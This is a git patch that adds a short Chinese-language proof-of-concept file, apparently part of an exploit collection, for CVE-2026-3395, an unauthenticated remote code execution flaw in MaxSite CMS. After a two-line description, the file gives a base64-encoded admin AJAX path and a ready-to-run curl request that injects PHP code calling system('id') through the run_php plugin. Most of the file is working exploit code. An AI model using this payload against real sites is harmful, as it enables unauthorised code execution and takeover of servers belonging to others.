From bd232ec8322d6a3ea394f10c8fe33321cbc52025 Mon Sep 17 00:00:00 2001
From: Rainyseason <73454853+Rainyseason-c@users.noreply.github.com>
Date: Thu, 12 Mar 2026 10:04:17 +0800
Subject: [PATCH] =?UTF-8?q?Update=20MaxSite=20CMS=E6=9C=AA=E6=8E=88?=
 =?UTF-8?q?=E6=9D=83RCE=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 wpoc/MaxSite CMS/MaxSite CMS未授权RCE漏洞.md | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/wpoc/MaxSite CMS/MaxSite CMS未授权RCE漏洞.md b/wpoc/MaxSite CMS/MaxSite CMS未授权RCE漏洞.md
index dc9017d..8a5321c 100644
--- a/wpoc/MaxSite CMS/MaxSite CMS未授权RCE漏洞.md	
+++ b/wpoc/MaxSite CMS/MaxSite CMS未授权RCE漏洞.md	
@@ -1 +1,15 @@
 ## MaxSite CMS未授权RCE漏洞
+
+## 介绍
+CVE-2026-3395 漏洞会影响 MaxSite CMS，允许未经身份验证的用户访问管理 AJAX 端点。run_php启用该插件后，用户输入可以通过 CMS 钩子系统被解析为 PHP 代码，这可能导致远程代码执行 (RCE)。
+
+## poc
+
+#Base64编码:
+admin/plugins/editor_markitup/preview-ajax.php
+YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
+
+curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
+  -H "X-Requested-With: XMLHttpRequest" \
+  -H "Referer: http://localhost:8081/" \
+  --data-urlencode "data=[php]system('id');[/php]"